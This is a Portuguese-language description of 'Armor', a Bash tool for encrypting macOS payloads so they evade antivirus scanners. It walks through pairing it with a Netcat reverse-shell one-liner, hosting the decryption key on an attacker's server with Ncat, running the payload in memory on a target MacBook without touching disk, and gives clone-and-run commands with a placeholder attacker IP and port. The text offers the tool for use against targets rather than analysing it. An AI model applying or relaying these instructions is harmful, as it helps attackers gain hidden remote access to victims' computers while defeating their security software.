tokyoneon/armorArmor é um script Bash simples projetado para criar payloads macOS criptografados capazes de evitar scanners antivírus.
Armor é um simples script Bash projetado para criar payloads macOS criptografados capazes de evadir scanners de antivírus. Abaixo está um exemplo em gif do Armor sendo usado com um payload simples do Netcat.
Um listener Netcat é iniciado na porta 4444. O arquivo "payload.txt" é lido e mostrado conter um simples one-liner Bash que, quando executado, criará uma conexão TCP entre o MacBook alvo e o listener Netcat do atacante. O Armor é usado para criptografar o one-liner Bash. O Ncat é usado para hospedar a chave de descriptografia no servidor do atacante. Quando o stager é executado no MacBook alvo (não mostrado no gif), o one-liner Bash é descriptografado e executado sem gravar nenhum dado no disco rígido. O Ncat encerra imediatamente o listener após a chave ter sido usada. Quando a conexão Netcat é estabelecida, o atacante tem acesso remoto ao MacBook alvo.
Reconhecidamente, criptografar a maioria dos payloads específicos do macOS é exagero. Este one-liner Bash específico é capaz de contornar antivírus sem a ajuda do Armor. Mas este é apenas um exemplo. O mesmo grau de ofuscação pode ser aplicado a scripts sofisticados em Python, Ruby e Shell projetados para executar uma variedade de ataques avançados.
Armor depende do LibreSSL para criptografar o arquivo de entrada e criar o certificado SSL. Se o LibreSSL não for encontrado no seu sistema, o Armor tentará instalá-lo. A função para isso pode ser encontrada no arquivo armor.sh. Ncat também é uma dependência e pode ser instalado no Kali usando $ apt-get update && apt-get install nmap.
O Armor pode ser clonado e executado usando os comandos abaixo.
git clone https://github.com/tokyoneon/Armor
cd Armor/
chmod +x armor.sh
./armor.sh /path/to/payload.txt 1.2.3.4 443
O endereço 1.2.3.4 é o endereço IP do atacante onde a chave de descriptografia será hospedada. Pode ser um endereço IP local ou VPS. O número da porta (443) é arbitrário e pode ser alterado conforme necessário.
Perguntas e preocupações: